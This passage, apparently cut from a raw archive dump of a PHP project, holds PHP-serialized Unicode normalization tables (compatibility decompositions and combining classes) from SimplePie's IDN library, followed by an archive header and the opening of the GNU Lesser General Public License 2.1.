:{i:0;i:65355;}i:65324;a:1:{i:0;i:65356;}i:65325;a:1:{i:0;i:65357;}i:65326;a:1:{i:0;i:65358;}i:65327;a:1:{i:0;i:65359;}i:65328;a:1:{i:0;i:65360;}i:65329;a:1:{i:0;i:65361;}i:65330;a:1:{i:0;i:65362;}i:65331;a:1:{i:0;i:65363;}i:65332;a:1:{i:0;i:65364;}i:65333;a:1:{i:0;i:65365;}i:65334;a:1:{i:0;i:65366;}i:65335;a:1:{i:0;i:65367;}i:65336;a:1:{i:0;i:65368;}i:65337;a:1:{i:0;i:65369;}i:65338;a:1:{i:0;i:65370;}i:66560;a:1:{i:0;i:66600;}i:66561;a:1:{i:0;i:66601;}i:66562;a:1:{i:0;i:66602;}i:66563;a:1:{i:0;i:66603;}i:66564;a:1:{i:0;i:66604;}i:66565;a:1:{i:0;i:66605;}i:66566;a:1:{i:0;i:66606;}i:66567;a:1:{i:0;i:66607;}i:66568;a:1:{i:0;i:66608;}i:66569;a:1:{i:0;i:66609;}i:66570;a:1:{i:0;i:66610;}i:66571;a:1:{i:0;i:66611;}i:66572;a:1:{i:0;i:66612;}i:66573;a:1:{i:0;i:66613;}i:66574;a:1:{i:0;i:66614;}i:66575;a:1:{i:0;i:66615;}i:66576;a:1:{i:0;i:66616;}i:66577;a:1:{i:0;i:66617;}i:66578;a:1:{i:0;i:66618;}i:66579;a:1:{i:0;i:66619;}i:66580;a:1:{i:0;i:66620;}i:66581;a:1:{i:0;i:66621;}i:66582;a:1:{i:0;i:66622;}i:66583;a:1:{i:0;i:66623;}i:66584;a:1:{i:0;i:66624;}i:66585;a:1:{i:0;i:66625;}i:66586;a:1:{i:0;i:66626;}i:66587;a:1:{i:0;i:66627;}i:66588;a:1:{i:0;i:66628;}i:66589;a:1:{i:0;i:66629;}i:66590;a:1:{i:0;i:66630;}i:66591;a:1:{i:0;i:66631;}i:66592;a:1:{i:0;i:66632;}i:66593;a:1:{i:0;i:66633;}i:66594;a:1:{i:0;i:66634;}i:66595;a:1:{i:0;i:66635;}i:66596;a:1:{i:0;i:66636;}i:66597;a:1:{i:0;i:66637;}i:119808;a:1:{i:0;i:97;}i:119809;a:1:{i:0;i:98;}i:119810;a:1:{i:0;i:99;}i:119811;a:1:{i:0;i:100;}i:119812;a:1:{i:0;i:101;}i:119813;a:1:{i:0;i:102;}i:119814;a:1:{i:0;i:103;}i:119815;a:1:{i:0;i:104;}i:119816;a:1:{i:0;i:105;}i:119817;a:1:{i:0;i:106;}i:119818;a:1:{i:0;i:107;}i:119819;a:1:{i:0;i:108;}i:119820;a:1:{i:0;i:109;}i:119821;a:1:{i:0;i:110;}i:119822;a:1:{i:0;i:111;}i:119823;a:1:{i:0;i:112;}i:119824;a:1:{i:0;i:113;}i:119825;a:1:{i:0;i:114;}i:119826;a:1:{i:0;i:115;}i:119827;a:1:{i:0;i:116;}i:119828;a:1:{i:0;i:117;}i:119829;a:1:{i:0;i:118;}i:119830;a:1:{i:0;i:119;}i:119831;a:1:{i:0;i:120;}i:119832;a:1:{i:0;i:121;}i:119833;a:1:{i:0;i:122;}i:119860;a:1:{i:0;i:97;}i:119861;a:1:{i:0;i:98;}i:119862;a:1:{i:0;i:99;}i:119863;a:1:{i:0;i:100;}i:119864;a:1:{i:0;i:101;}i:119865;a:1:{i:0;i:102;}i:119866;a:1:{i:0;i:103;}i:119867;a:1:{i:0;i:104;}i:119868;a:1:{i:0;i:105;}i:119869;a:1:{i:0;i:106;}i:119870;a:1:{i:0;i:107;}i:119871;a:1:{i:0;i:108;}i:119872;a:1:{i:0;i:109;}i:119873;a:1:{i:0;i:110;}i:119874;a:1:{i:0;i:111;}i:119875;a:1:{i:0;i:112;}i:119876;a:1:{i:0;i:113;}i:119877;a:1:{i:0;i:114;}i:119878;a:1:{i:0;i:115;}i:119879;a:1:{i:0;i:116;}i:119880;a:1:{i:0;i:117;}i:119881;a:1:{i:0;i:118;}i:119882;a:1:{i:0;i:119;}i:119883;a:1:{i:0;i:120;}i:119884;a:1:{i:0;i:121;}i:119885;a:1:{i:0;i:122;}i:119912;a:1:{i:0;i:97;}i:119913;a:1:{i:0;i:98;}i:119914;a:1:{i:0;i:99;}i:119915;a:1:{i:0;i:100;}i:119916;a:1:{i:0;i:101;}i:119917;a:1:{i:0;i:102;}i:119918;a:1:{i:0;i:103;}i:119919;a:1:{i:0;i:104;}i:119920;a:1:{i:0;i:105;}i:119921;a:1:{i:0;i:106;}i:119922;a:1:{i:0;i:107;}i:119923;a:1:{i:0;i:108;}i:119924;a:1:{i:0;i:109;}i:119925;a:1:{i:0;i:110;}i:119926;a:1:{i:0;i:111;}i:119927;a:1:{i:0;i:112;}i:119928;a:1:{i:0;i:113;}i:119929;a:1:{i:0;i:114;}i:119930;a:1:{i:0;i:115;}i:119931;a:1:{i:0;i:116;}i:119932;a:1:{i:0;i:117;}i:119933;a:1:{i:0;i:118;}i:119934;a:1:{i:0;i:119;}i:119935;a:1:{i:0;i:120;}i:119936;a:1:{i:0;i:121;}i:119937;a:1:{i:0;i:122;}i:119964;a:1:{i:0;i:97;}i:119966;a:1:{i:0;i:99;}i:119967;a:1:{i:0;i:100;}i:119970;a:1:{i:0;i:103;}i:119973;a:1:{i:0;i:106;}i:119974;a:1:{i:0;i:107;}i:119977;a:1:{i:0;i:110;}i:119978;a:1:{i:0;i:111;}i:119979;a:1:{i:0;i:112;}i:119980;a:1:{i:0;i:113;}i:119982;a:1:{i:0;i:115;}i:119983;a:1:{i:0;i:116;}i:119984;a:1:{i:0;i:117;}i:119985;a:1:{i:0;i:118;}i:119986;a:1:{i:0;i:119;}i:119987;a:1:{i:0;i:120;}i:119988;a:1:{i:0;i:121;}i:119989;a:1:{i:0;i:122;}i:120016;a:1:{i:0;i:97;}i:120017;a:1:{i:0;i:98;}i:120018;a:1:{i:0;i:99;}i:120019;a:1:{i:0;i:100;}i:120020;a:1:{i:0;i:101;}i:120021;a:1:{i:0;i:102;}i:120022;a:1:{i:0;i:103;}i:120023;a:1:{i:0;i:104;}i:120024;a:1:{i:0;i:105;}i:120025;a:1:{i:0;i:106;}i:120026;a:1:{i:0;i:107;}i:120027;a:1:{i:0;i:108;}i:120028;a:1:{i:0;i:109;}i:120029;a:1:{i:0;i:110;}i:120030;a:1:{i:0;i:111;}i:120031;a:1:{i:0;i:112;}i:120032;a:1:{i:0;i:113;}i:120033;a:1:{i:0;i:114;}i:120034;a:1:{i:0;i:115;}i:120035;a:1:{i:0;i:116;}i:120036;a:1:{i:0;i:117;}i:120037;a:1:{i:0;i:118;}i:120038;a:1:{i:0;i:119;}i:120039;a:1:{i:0;i:120;}i:120040;a:1:{i:0;i:121;}i:120041;a:1:{i:0;i:122;}i:120068;a:1:{i:0;i:97;}i:120069;a:1:{i:0;i:98;}i:120071;a:1:{i:0;i:100;}i:120072;a:1:{i:0;i:101;}i:120073;a:1:{i:0;i:102;}i:120074;a:1:{i:0;i:103;}i:120077;a:1:{i:0;i:106;}i:120078;a:1:{i:0;i:107;}i:120079;a:1:{i:0;i:108;}i:120080;a:1:{i:0;i:109;}i:120081;a:1:{i:0;i:110;}i:120082;a:1:{i:0;i:111;}i:120083;a:1:{i:0;i:112;}i:120084;a:1:{i:0;i:113;}i:120086;a:1:{i:0;i:115;}i:120087;a:1:{i:0;i:116;}i:120088;a:1:{i:0;i:117;}i:120089;a:1:{i:0;i:118;}i:120090;a:1:{i:0;i:119;}i:120091;a:1:{i:0;i:120;}i:120092;a:1:{i:0;i:121;}i:120120;a:1:{i:0;i:97;}i:120121;a:1:{i:0;i:98;}i:120123;a:1:{i:0;i:100;}i:120124;a:1:{i:0;i:101;}i:120125;a:1:{i:0;i:102;}i:120126;a:1:{i:0;i:103;}i:120128;a:1:{i:0;i:105;}i:120129;a:1:{i:0;i:106;}i:120130;a:1:{i:0;i:107;}i:120131;a:1:{i:0;i:108;}i:120132;a:1:{i:0;i:109;}i:120134;a:1:{i:0;i:111;}i:120138;a:1:{i:0;i:115;}i:120139;a:1:{i:0;i:116;}i:120140;a:1:{i:0;i:117;}i:120141;a:1:{i:0;i:118;}i:120142;a:1:{i:0;i:119;}i:120143;a:1:{i:0;i:120;}i:120144;a:1:{i:0;i:121;}i:120172;a:1:{i:0;i:97;}i:120173;a:1:{i:0;i:98;}i:120174;a:1:{i:0;i:99;}i:120175;a:1:{i:0;i:100;}i:120176;a:1:{i:0;i:101;}i:120177;a:1:{i:0;i:102;}i:120178;a:1:{i:0;i:103;}i:120179;a:1:{i:0;i:104;}i:120180;a:1:{i:0;i:105;}i:120181;a:1:{i:0;i:106;}i:120182;a:1:{i:0;i:107;}i:120183;a:1:{i:0;i:108;}i:120184;a:1:{i:0;i:109;}i:120185;a:1:{i:0;i:110;}i:120186;a:1:{i:0;i:111;}i:120187;a:1:{i:0;i:112;}i:120188;a:1:{i:0;i:113;}i:120189;a:1:{i:0;i:114;}i:120190;a:1:{i:0;i:115;}i:120191;a:1:{i:0;i:116;}i:120192;a:1:{i:0;i:117;}i:120193;a:1:{i:0;i:118;}i:120194;a:1:{i:0;i:119;}i:120195;a:1:{i:0;i:120;}i:120196;a:1:{i:0;i:121;}i:120197;a:1:{i:0;i:122;}i:120224;a:1:{i:0;i:97;}i:120225;a:1:{i:0;i:98;}i:120226;a:1:{i:0;i:99;}i:120227;a:1:{i:0;i:100;}i:120228;a:1:{i:0;i:101;}i:120229;a:1:{i:0;i:102;}i:120230;a:1:{i:0;i:103;}i:120231;a:1:{i:0;i:104;}i:120232;a:1:{i:0;i:105;}i:120233;a:1:{i:0;i:106;}i:120234;a:1:{i:0;i:107;}i:120235;a:1:{i:0;i:108;}i:120236;a:1:{i:0;i:109;}i:120237;a:1:{i:0;i:110;}i:120238;a:1:{i:0;i:111;}i:120239;a:1:{i:0;i:112;}i:120240;a:1:{i:0;i:113;}i:120241;a:1:{i:0;i:114;}i:120242;a:1:{i:0;i:115;}i:120243;a:1:{i:0;i:116;}i:120244;a:1:{i:0;i:117;}i:120245;a:1:{i:0;i:118;}i:120246;a:1:{i:0;i:119;}i:120247;a:1:{i:0;i:120;}i:120248;a:1:{i:0;i:121;}i:120249;a:1:{i:0;i:122;}i:120276;a:1:{i:0;i:97;}i:120277;a:1:{i:0;i:98;}i:120278;a:1:{i:0;i:99;}i:120279;a:1:{i:0;i:100;}i:120280;a:1:{i:0;i:101;}i:120281;a:1:{i:0;i:102;}i:120282;a:1:{i:0;i:103;}i:120283;a:1:{i:0;i:104;}i:120284;a:1:{i:0;i:105;}i:120285;a:1:{i:0;i:106;}i:120286;a:1:{i:0;i:107;}i:120287;a:1:{i:0;i:108;}i:120288;a:1:{i:0;i:109;}i:120289;a:1:{i:0;i:110;}i:120290;a:1:{i:0;i:111;}i:120291;a:1:{i:0;i:112;}i:120292;a:1:{i:0;i:113;}i:120293;a:1:{i:0;i:114;}i:120294;a:1:{i:0;i:115;}i:120295;a:1:{i:0;i:116;}i:120296;a:1:{i:0;i:117;}i:120297;a:1:{i:0;i:118;}i:120298;a:1:{i:0;i:119;}i:120299;a:1:{i:0;i:120;}i:120300;a:1:{i:0;i:121;}i:120301;a:1:{i:0;i:122;}i:120328;a:1:{i:0;i:97;}i:120329;a:1:{i:0;i:98;}i:120330;a:1:{i:0;i:99;}i:120331;a:1:{i:0;i:100;}i:120332;a:1:{i:0;i:101;}i:120333;a:1:{i:0;i:102;}i:120334;a:1:{i:0;i:103;}i:120335;a:1:{i:0;i:104;}i:120336;a:1:{i:0;i:105;}i:120337;a:1:{i:0;i:106;}i:120338;a:1:{i:0;i:107;}i:120339;a:1:{i:0;i:108;}i:120340;a:1:{i:0;i:109;}i:120341;a:1:{i:0;i:110;}i:120342;a:1:{i:0;i:111;}i:120343;a:1:{i:0;i:112;}i:120344;a:1:{i:0;i:113;}i:120345;a:1:{i:0;i:114;}i:120346;a:1:{i:0;i:115;}i:120347;a:1:{i:0;i:116;}i:120348;a:1:{i:0;i:117;}i:120349;a:1:{i:0;i:118;}i:120350;a:1:{i:0;i:119;}i:120351;a:1:{i:0;i:120;}i:120352;a:1:{i:0;i:121;}i:120353;a:1:{i:0;i:122;}i:120380;a:1:{i:0;i:97;}i:120381;a:1:{i:0;i:98;}i:120382;a:1:{i:0;i:99;}i:120383;a:1:{i:0;i:100;}i:120384;a:1:{i:0;i:101;}i:120385;a:1:{i:0;i:102;}i:120386;a:1:{i:0;i:103;}i:120387;a:1:{i:0;i:104;}i:120388;a:1:{i:0;i:105;}i:120389;a:1:{i:0;i:106;}i:120390;a:1:{i:0;i:107;}i:120391;a:1:{i:0;i:108;}i:120392;a:1:{i:0;i:109;}i:120393;a:1:{i:0;i:110;}i:120394;a:1:{i:0;i:111;}i:120395;a:1:{i:0;i:112;}i:120396;a:1:{i:0;i:113;}i:120397;a:1:{i:0;i:114;}i:120398;a:1:{i:0;i:115;}i:120399;a:1:{i:0;i:116;}i:120400;a:1:{i:0;i:117;}i:120401;a:1:{i:0;i:118;}i:120402;a:1:{i:0;i:119;}i:120403;a:1:{i:0;i:120;}i:120404;a:1:{i:0;i:121;}i:120405;a:1:{i:0;i:122;}i:120432;a:1:{i:0;i:97;}i:120433;a:1:{i:0;i:98;}i:120434;a:1:{i:0;i:99;}i:120435;a:1:{i:0;i:100;}i:120436;a:1:{i:0;i:101;}i:120437;a:1:{i:0;i:102;}i:120438;a:1:{i:0;i:103;}i:120439;a:1:{i:0;i:104;}i:120440;a:1:{i:0;i:105;}i:120441;a:1:{i:0;i:106;}i:120442;a:1:{i:0;i:107;}i:120443;a:1:{i:0;i:108;}i:120444;a:1:{i:0;i:109;}i:120445;a:1:{i:0;i:110;}i:120446;a:1:{i:0;i:111;}i:120447;a:1:{i:0;i:112;}i:120448;a:1:{i:0;i:113;}i:120449;a:1:{i:0;i:114;}i:120450;a:1:{i:0;i:115;}i:120451;a:1:{i:0;i:116;}i:120452;a:1:{i:0;i:117;}i:120453;a:1:{i:0;i:118;}i:120454;a:1:{i:0;i:119;}i:120455;a:1:{i:0;i:120;}i:120456;a:1:{i:0;i:121;}i:120457;a:1:{i:0;i:122;}i:120488;a:1:{i:0;i:945;}i:120489;a:1:{i:0;i:946;}i:120490;a:1:{i:0;i:947;}i:120491;a:1:{i:0;i:948;}i:120492;a:1:{i:0;i:949;}i:120493;a:1:{i:0;i:950;}i:120494;a:1:{i:0;i:951;}i:120495;a:1:{i:0;i:952;}i:120496;a:1:{i:0;i:953;}i:120497;a:1:{i:0;i:954;}i:120498;a:1:{i:0;i:955;}i:120499;a:1:{i:0;i:956;}i:120500;a:1:{i:0;i:957;}i:120501;a:1:{i:0;i:958;}i:120502;a:1:{i:0;i:959;}i:120503;a:1:{i:0;i:960;}i:120504;a:1:{i:0;i:961;}i:120505;a:1:{i:0;i:952;}i:120506;a:1:{i:0;i:963;}i:120507;a:1:{i:0;i:964;}i:120508;a:1:{i:0;i:965;}i:120509;a:1:{i:0;i:966;}i:120510;a:1:{i:0;i:967;}i:120511;a:1:{i:0;i:968;}i:120512;a:1:{i:0;i:969;}i:120531;a:1:{i:0;i:963;}i:120546;a:1:{i:0;i:945;}i:120547;a:1:{i:0;i:946;}i:120548;a:1:{i:0;i:947;}i:120549;a:1:{i:0;i:948;}i:120550;a:1:{i:0;i:949;}i:120551;a:1:{i:0;i:950;}i:120552;a:1:{i:0;i:951;}i:120553;a:1:{i:0;i:952;}i:120554;a:1:{i:0;i:953;}i:120555;a:1:{i:0;i:954;}i:120556;a:1:{i:0;i:955;}i:120557;a:1:{i:0;i:956;}i:120558;a:1:{i:0;i:957;}i:120559;a:1:{i:0;i:958;}i:120560;a:1:{i:0;i:959;}i:120561;a:1:{i:0;i:960;}i:120562;a:1:{i:0;i:961;}i:120563;a:1:{i:0;i:952;}i:120564;a:1:{i:0;i:963;}i:120565;a:1:{i:0;i:964;}i:120566;a:1:{i:0;i:965;}i:120567;a:1:{i:0;i:966;}i:120568;a:1:{i:0;i:967;}i:120569;a:1:{i:0;i:968;}i:120570;a:1:{i:0;i:969;}i:120589;a:1:{i:0;i:963;}i:120604;a:1:{i:0;i:945;}i:120605;a:1:{i:0;i:946;}i:120606;a:1:{i:0;i:947;}i:120607;a:1:{i:0;i:948;}i:120608;a:1:{i:0;i:949;}i:120609;a:1:{i:0;i:950;}i:120610;a:1:{i:0;i:951;}i:120611;a:1:{i:0;i:952;}i:120612;a:1:{i:0;i:953;}i:120613;a:1:{i:0;i:954;}i:120614;a:1:{i:0;i:955;}i:120615;a:1:{i:0;i:956;}i:120616;a:1:{i:0;i:957;}i:120617;a:1:{i:0;i:958;}i:120618;a:1:{i:0;i:959;}i:120619;a:1:{i:0;i:960;}i:120620;a:1:{i:0;i:961;}i:120621;a:1:{i:0;i:952;}i:120622;a:1:{i:0;i:963;}i:120623;a:1:{i:0;i:964;}i:120624;a:1:{i:0;i:965;}i:120625;a:1:{i:0;i:966;}i:120626;a:1:{i:0;i:967;}i:120627;a:1:{i:0;i:968;}i:120628;a:1:{i:0;i:969;}i:120647;a:1:{i:0;i:963;}i:120662;a:1:{i:0;i:945;}i:120663;a:1:{i:0;i:946;}i:120664;a:1:{i:0;i:947;}i:120665;a:1:{i:0;i:948;}i:120666;a:1:{i:0;i:949;}i:120667;a:1:{i:0;i:950;}i:120668;a:1:{i:0;i:951;}i:120669;a:1:{i:0;i:952;}i:120670;a:1:{i:0;i:953;}i:120671;a:1:{i:0;i:954;}i:120672;a:1:{i:0;i:955;}i:120673;a:1:{i:0;i:956;}i:120674;a:1:{i:0;i:957;}i:120675;a:1:{i:0;i:958;}i:120676;a:1:{i:0;i:959;}i:120677;a:1:{i:0;i:960;}i:120678;a:1:{i:0;i:961;}i:120679;a:1:{i:0;i:952;}i:120680;a:1:{i:0;i:963;}i:120681;a:1:{i:0;i:964;}i:120682;a:1:{i:0;i:965;}i:120683;a:1:{i:0;i:966;}i:120684;a:1:{i:0;i:967;}i:120685;a:1:{i:0;i:968;}i:120686;a:1:{i:0;i:969;}i:120705;a:1:{i:0;i:963;}i:120720;a:1:{i:0;i:945;}i:120721;a:1:{i:0;i:946;}i:120722;a:1:{i:0;i:947;}i:120723;a:1:{i:0;i:948;}i:120724;a:1:{i:0;i:949;}i:120725;a:1:{i:0;i:950;}i:120726;a:1:{i:0;i:951;}i:120727;a:1:{i:0;i:952;}i:120728;a:1:{i:0;i:953;}i:120729;a:1:{i:0;i:954;}i:120730;a:1:{i:0;i:955;}i:120731;a:1:{i:0;i:956;}i:120732;a:1:{i:0;i:957;}i:120733;a:1:{i:0;i:958;}i:120734;a:1:{i:0;i:959;}i:120735;a:1:{i:0;i:960;}i:120736;a:1:{i:0;i:961;}i:120737;a:1:{i:0;i:952;}i:120738;a:1:{i:0;i:963;}i:120739;a:1:{i:0;i:964;}i:120740;a:1:{i:0;i:965;}i:120741;a:1:{i:0;i:966;}i:120742;a:1:{i:0;i:967;}i:120743;a:1:{i:0;i:968;}i:120744;a:1:{i:0;i:969;}i:120763;a:1:{i:0;i:963;}i:1017;a:1:{i:0;i:963;}i:7468;a:1:{i:0;i:97;}i:7469;a:1:{i:0;i:230;}i:7470;a:1:{i:0;i:98;}i:7472;a:1:{i:0;i:100;}i:7473;a:1:{i:0;i:101;}i:7474;a:1:{i:0;i:477;}i:7475;a:1:{i:0;i:103;}i:7476;a:1:{i:0;i:104;}i:7477;a:1:{i:0;i:105;}i:7478;a:1:{i:0;i:106;}i:7479;a:1:{i:0;i:107;}i:7480;a:1:{i:0;i:108;}i:7481;a:1:{i:0;i:109;}i:7482;a:1:{i:0;i:110;}i:7484;a:1:{i:0;i:111;}i:7485;a:1:{i:0;i:547;}i:7486;a:1:{i:0;i:112;}i:7487;a:1:{i:0;i:114;}i:7488;a:1:{i:0;i:116;}i:7489;a:1:{i:0;i:117;}i:7490;a:1:{i:0;i:119;}i:8507;a:3:{i:0;i:102;i:1;i:97;i:2;i:120;}i:12880;a:3:{i:0;i:112;i:1;i:116;i:2;i:101;}i:13004;a:2:{i:0;i:104;i:1;i:103;}i:13006;a:2:{i:0;i:101;i:1;i:118;}i:13007;a:3:{i:0;i:108;i:1;i:116;i:2;i:100;}i:13178;a:2:{i:0;i:105;i:1;i:117;}i:13278;a:3:{i:0;i:118;i:1;i:8725;i:2;i:109;}i:13279;a:3:{i:0;i:97;i:1;i:8725;i:2;i:109;}}s:12:"norm_combcls";a:341:{i:820;i:1;i:821;i:1;i:822;i:1;i:823;i:1;i:824;i:1;i:2364;i:7;i:2492;i:7;i:2620;i:7;i:2748;i:7;i:2876;i:7;i:3260;i:7;i:4151;i:7;i:12441;i:8;i:12442;i:8;i:2381;i:9;i:2509;i:9;i:2637;i:9;i:2765;i:9;i:2893;i:9;i:3021;i:9;i:3149;i:9;i:3277;i:9;i:3405;i:9;i:3530;i:9;i:3642;i:9;i:3972;i:9;i:4153;i:9;i:5908;i:9;i:5940;i:9;i:6098;i:9;i:1456;i:10;i:1457;i:11;i:1458;i:12;i:1459;i:13;i:1460;i:14;i:1461;i:15;i:1462;i:16;i:1463;i:17;i:1464;i:18;i:1465;i:19;i:1467;i:20;i:1468;i:21;i:1469;i:22;i:1471;i:23;i:1473;i:24;i:1474;i:25;i:64286;i:26;i:1611;i:27;i:1612;i:28;i:1613;i:29;i:1614;i:30;i:1615;i:31;i:1616;i:32;i:1617;i:33;i:1618;i:34;i:1648;i:35;i:1809;i:36;i:3157;i:84;i:3158;i:91;i:3640;i:103;i:3641;i:103;i:3656;i:107;i:3657;i:107;i:3658;i:107;i:3659;i:107;i:3768;i:118;i:3769;i:118;i:3784;i:122;i:3785;i:122;i:3786;i:122;i:3787;i:122;i:3953;i:129;i:3954;i:130;i:3962;i:130;i:3963;i:130;i:3964;i:130;i:3965;i:130;i:3968;i:130;i:3956;i:132;i:801;i:202;i:802;i:202;i:807;i:202;i:808;i:202;i:795;i:216;i:3897;i:216;i:119141;i:216;i:119142;i:216;i:119150;i:216;i:119151;i:216;i:119152;i:216;i:119153;i:216;i:119154;i:216;i:12330;i:218;i:790;i:220;i:791;i:220;i:792;i:220;i:793;i:220;i:796;i:220;i:797;i:220;i:798;i:220;i:799;i:220;i:800;i:220;i:803;i:220;i:804;i:220;i:805;i:220;i:806;i:220;i:809;i:220;i:810;i:220;i:811;i:220;i:812;i:220;i:813;i:220;i:814;i:220;i:815;i:220;i:816;i:220;i:817;i:220;i:818;i:220;i:819;i:220;i:825;i:220;i:826;i:220;i:827;i:220;i:828;i:220;i:839;i:220;i:840;i:220;i:841;i:220;i:845;i:220;i:846;i:220;i:851;i:220;i:852;i:220;i:853;i:220;i:854;i:220;i:1425;i:220;i:1430;i:220;i:1435;i:220;i:1443;i:220;i:1444;i:220;i:1445;i:220;i:1446;i:220;i:1447;i:220;i:1450;i:220;i:1621;i:220;i:1622;i:220;i:1763;i:220;i:1770;i:220;i:1773;i:220;i:1841;i:220;i:1844;i:220;i:1847;i:220;i:1848;i:220;i:1849;i:220;i:1851;i:220;i:1852;i:220;i:1854;i:220;i:1858;i:220;i:1860;i:220;i:1862;i:220;i:1864;i:220;i:2386;i:220;i:3864;i:220;i:3865;i:220;i:3893;i:220;i:3895;i:220;i:4038;i:220;i:6459;i:220;i:8424;i:220;i:119163;i:220;i:119164;i:220;i:119165;i:220;i:119166;i:220;i:119167;i:220;i:119168;i:220;i:119169;i:220;i:119170;i:220;i:119178;i:220;i:119179;i:220;i:1434;i:222;i:1453;i:222;i:6441;i:222;i:12333;i:222;i:12334;i:224;i:12335;i:224;i:119149;i:226;i:1454;i:228;i:6313;i:228;i:12331;i:228;i:768;i:230;i:769;i:230;i:770;i:230;i:771;i:230;i:772;i:230;i:773;i:230;i:774;i:230;i:775;i:230;i:776;i:230;i:777;i:230;i:778;i:230;i:779;i:230;i:780;i:230;i:781;i:230;i:782;i:230;i:783;i:230;i:784;i:230;i:785;i:230;i:786;i:230;i:787;i:230;i:788;i:230;i:829;i:230;i:830;i:230;i:831;i:230;i:832;i:230;i:833;i:230;i:834;i:230;i:835;i:230;i:836;i:230;i:838;i:230;i:842;i:230;i:843;i:230;i:844;i:230;i:848;i:230;i:849;i:230;i:850;i:230;i:855;i:230;i:867;i:230;i:868;i:230;i:869;i:230;i:870;i:230;i:871;i:230;i:872;i:230;i:873;i:230;i:874;i:230;i:875;i:230;i:876;i:230;i:877;i:230;i:878;i:230;i:879;i:230;i:1155;i:230;i:1156;i:230;i:1157;i:230;i:1158;i:230;i:1426;i:230;i:1427;i:230;i:1428;i:230;i:1429;i:230;i:1431;i:230;i:1432;i:230;i:1433;i:230;i:1436;i:230;i:1437;i:230;i:1438;i:230;i:1439;i:230;i:1440;i:230;i:1441;i:230;i:1448;i:230;i:1449;i:230;i:1451;i:230;i:1452;i:230;i:1455;i:230;i:1476;i:230;i:1552;i:230;i:1553;i:230;i:1554;i:230;i:1555;i:230;i:1556;i:230;i:1557;i:230;i:1619;i:230;i:1620;i:230;i:1623;i:230;i:1624;i:230;i:1750;i:230;i:1751;i:230;i:1752;i:230;i:1753;i:230;i:1754;i:230;i:1755;i:230;i:1756;i:230;i:1759;i:230;i:1760;i:230;i:1761;i:230;i:1762;i:230;i:1764;i:230;i:1767;i:230;i:1768;i:230;i:1771;i:230;i:1772;i:230;i:1840;i:230;i:1842;i:230;i:1843;i:230;i:1845;i:230;i:1846;i:230;i:1850;i:230;i:1853;i:230;i:1855;i:230;i:1856;i:230;i:1857;i:230;i:1859;i:230;i:1861;i:230;i:1863;i:230;i:1865;i:230;i:1866;i:230;i:2385;i:230;i:2387;i:230;i:2388;i:230;i:3970;i:230;i:3971;i:230;i:3974;i:230;i:3975;i:230;i:5901;i:230;i:6458;i:230;i:8400;i:230;i:8401;i:230;i:8404;i:230;i:8405;i:230;i:8406;i:230;i:8407;i:230;i:8411;i:230;i:8412;i:230;i:8417;i:230;i:8423;i:230;i:8425;i:230;i:65056;i:230;i:65057;i:230;i:65058;i:230;i:65059;i:230;i:119173;i:230;i:119174;i:230;i:119175;i:230;i:119177;i:230;i:119176;i:230;i:119210;i:230;i:119211;i:230;i:119212;i:230;i:119213;i:230;i:789;i:232;i:794;i:232;i:12332;i:232;i:863;i:233;i:866;i:233;i:861;i:234;i:862;i:234;i:864;i:234;i:865;i:234;i:837;i:240;}}res/simplepie/idn/LICENCE000064400000063623147577714370011123 0ustar00 GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it 